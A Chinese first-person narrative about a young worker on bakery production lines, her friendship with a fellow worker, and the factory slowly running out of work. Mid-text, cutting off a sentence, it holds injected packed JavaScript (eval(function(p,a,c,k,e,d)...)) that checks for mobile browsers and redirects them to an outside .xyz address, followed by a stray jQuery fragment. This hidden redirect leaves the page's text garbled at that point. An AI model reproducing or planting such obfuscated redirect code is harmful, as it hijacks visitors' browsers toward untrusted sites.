我的工衣总是最脏的,不论是在什么厂,我的工衣总是整条线里最脏的,平常最照顾我的阿姨呵呵笑着我,说我的衣服无论怎么洗都洗不干净,说一看我就是干了活的人。
我就像个脏小孩,在醒发间旁工作时,我总会去抬盘子,推架子,刷蛋液,我的手上和衣服上都是模具的污垢和蛋液。洗衣房怎么也洗不干净我的工衣,我已经习惯了这种脏。
班长总想让我去干最轻松的,让我去刷蛋液,总会因为我小,身板小,总想特意照顾我。但我总是违背她的命令,去推架子,端盘子,干最脏最累的事情。
醒发间旁,总传来班长的怒骂声,次品总是一批一批出现,班长总会时不时调人换岗位。
忽然有一天,我也被叫走了,我也被调换了岗位。一大早,刚进车间,来到醒发间的岗位上。班长就突然走来,叫了我,说给我换了个岗位。带着我来到了前线的车间,指着流水线,让我站在流水线上捡面团。
鸡蛋大小的面团从流水线传送下来,这个工作岗位就是站在流水线末端,捡起传送下来的面团,放进蛋糕纸托里。
刚来到岗位上,我看着对面熟悉的身影,愣了一会儿神。熟悉的眉眼,熟悉的声音,她是上回有过一面之缘的女孩,是我进错车间时见到的女孩。
我的注意力一直在她的身上,直到中午快下班吃饭时,我才问她:“你之前是大雷线的人吗?”
捡了一上午的面团后,她才恍然大悟——“你就是那个进错车间的小姑娘?”她看着我。我听着温柔的声音,抬头看着她。
她的举止行为落落大方,一如当初进错车间时,所见到的小大人模样。印象中,她总能自然而然的应对长辈的问话,大人问什么,她就答什么。管谁都叫“叔、姨”,是个很有礼貌的好孩子。
班长路过时,和她聊了两句,她落落大方的回应着。
我不知道怎么去喊大人,小时候叫叔叔阿姨,长大了还叫叔叔阿姨,就好像在他们眼中,我们永远是小孩。在这里,每当听到这些话就会觉得动容——
“阿姨教你。”
“叔叔教你。”
“我的女儿都和你一样大了。”
“……”
回忆中闪过好几个叔叔阿姨的脸,都是这厂里的叔叔阿姨对我说的,他们不会介意这份称谓。
长辈们总会照顾我们这些小辈,而且他们并不会介意我们的存在,他们并没有把我们当成是抢工作的竞争者,而是当成了小辈,把我们当成了一个被包容的孩子。每当他们看向我们时,并不会像是在看竞争者,而是在看小辈,像是在看自己家的孩子。
每当听叔叔阿姨聊天时,叔叔阿姨总会引以为傲的和别人说起自己的儿子女儿,每当说起家人的时候,他们眼中总会浮现幸福的神色。厂里的很多叔叔阿姨都是和自己的老伴来的,吃饭的时候,总是和自己的老伴一起吃。
“你戴耳机吗?”午时的食堂饭桌上,她突然问了我这么一句,我抽回思绪,看向她。
她和我分享了她的小秘密,她说:“我上班的时候,都会戴耳机,戴上头套之后,就看不出来了。我一个人在前线捡面团的时候,就经常戴着耳机,别人也发现不了。”
我呆呆地看着她,进出口没有安检门,的确没人会知道头套之下藏着耳机。她把这个秘密告诉我,估计是怕我不能用破碎的声音开口说话,怕我工作时无聊。
“你吃早餐吗?你可以和我一起,我快离职了,你可以刷我的饭卡。”她真诚的和我说。
我点头答应着。
像是命定安排之下的,我们成为了朋友。
本以为无聊的日子将变得鲜活乐观,可是没想到第三天,班长又开始随机抽人调换岗位。
班长突然安排了一个姨来代替她的岗位,而她被调去了醒发间,代替了我的岗位。随着她的离去,日子又回归平静无聊。我在线上捡面团越来越无聊。班长偶尔路过时,也会帮我们捡面团。
几个领导下来检查,要求流水线速度调快,我尽量提高嗓子,告诉他们太快保障不了质量,可是他们执意要调快。熟悉的灵魂记忆突然闪烁,捡着捡着,脑中闪过熟悉的画面。
记忆画面与当下场景重合,恍惚中,我看到画面中,班长在前线帮着我们捡面团,我好像听到了班长的内心声音,我好像听到了她在那一刹那,明白了我的嗓子是真的有点问题。
强烈的熟悉感冲撞我的内心,那一刻,我整个人都愣在了原地。
流水线的速度越来越快,我怎么捡面团都保障不了质量,面团歪歪扭扭的躺在蛋糕纸托里,次品送走一批又一批。
又过了几天,我想调到后面醒发间去,和班长说了原因,班长同意了我的请求。于是,我又再次见到了这个女孩,她全身上下也变得脏兮兮的。下班时,她带着我去清洗房,教我清理鞋底,告诉我清洗房的地面斜角可以刮蹭鞋底的泥。
我总是跟着她,日子一天天过去,她一天天算着离去的日子。我们两个脏小孩在醒发间忙忙碌碌,休息时,负责找架子的叔叔带着我去醒发间里,偷偷从衣袖里掏出烘焙出来的面包给我。他和我说,他饿了就会吃点。阿姨也会偷偷从垃圾袋里把热乎乎的菠萝包塞给我。
醒发间里面没有监控,可以躲懒,可以偷吃面包。
到了下旬,大清理的时候,我跟着她一起拿着刮板清理地面,她和我分享她看过的小说,把小说故事说给我听。我很珍惜和她在一起的日子。
时间转瞬即逝,虽然很不舍,但终有离别日。
到了14号晚上,班长突然把她叫走了,那一夜,我再没看到她回来。我又开始变得沉默寡言,日子一天天过着,一直到下旬的时候,线上的姨说,过几天不做菠萝包了。
月底,菠萝包下架了,很多姨被安排着休
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529985|186360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息,我们几个人总是时不时被安排到其他线帮忙,我听好多姨说,过不了多久,很多产品都要下架了。
一直到六月初,厂里渐渐没有活了,不止我们这条线,其他线也是渐渐没有活做了,休息的人越来越多,提离职的人也越来越多。
我还没意识到问题的严重性,班长叫来一个姨,把我们安排到日配线。这一次去,日配线的班长让我负责切面包。
班长来到我身旁,问我:“这活好不好做?”
我脑中忽然闪过一个片段,当初在醒发间旁边,大雷线的班长也是来到她的身边,用着同样的口吻问她。班长还和日配线的班长聊天打趣,说想给我介绍对象,在旁挤奶油的湖南阿姨默默听着。
下班时,日配线的班长和我们说:“以后你们就在这里了。”
我:“……”
厂里渐渐没活了,到了中旬,其他线全停了,唯独日配线还开着。曾在大雷线的阿姨路过时,看到了我,就在一旁看着我切面包。
人家问她看什么,她说:“这个小姑娘之前来过我们大雷线。”
突然的问话,好像打开了阿姨的话匣子,大雷线的阿姨来到我身边,告诉我好多线都停了,大批工人离职,就连班长们也都没有工作,回去休息了。就连她们这些暂时来帮忙的人,可能明天也没活做了。
她羡慕的看着我,说了很多很多话,我静静听着,一边听一边点点头,她看我看了好一阵,又走了。
切面包时,听到叔叔阿姨聊天——“前几天,有个欧包线的小姑娘,那个李明叫她看个机器,结果机器出故障了,那个李明当天就让她休息,再没让她上班了。”
我心里一愣,下意识看向说话的人,他说的,是我们线的小姑娘,我认识她,她对我很好,总会和我打招呼,总会下意识关照我,总会温柔和我说话。原本我们线上是有两个小姑娘,她们是一起来的,长得也漂亮。但是,据说,一个小姑娘辞职不干了,另一个小姑娘回老家了,请假了几天。
那个人继续说:“欧包线的早就停了,欧包班长到处塞人,有个打面的小孩,李明也是给他安排个活儿,不知道怎么干的,就干了一天不到,李明当天就让他休息,现在都没上班。”
我:“……”
欧包线停了,我们线上的员工被派到其他线,但是其他线的班长不太愿意分工作给我们线的人。他们还有自己的员工要照顾。
“欧包线的班长回家了?”
“没活了,被安排休息了,听说是回老家了。”
我:“……”
夜里去找架子时,路过一个个车间,那里全都空无一人。夜里很黑,车间里的灯全都关上了。阿姨们帮我找到架子,和我一起推了过去。
日配线上,叔叔阿姨对我多有关照,当初我的班长说想给我介绍对象,湖南阿姨好像听进去了,总和我说,有空给我介绍个男朋友。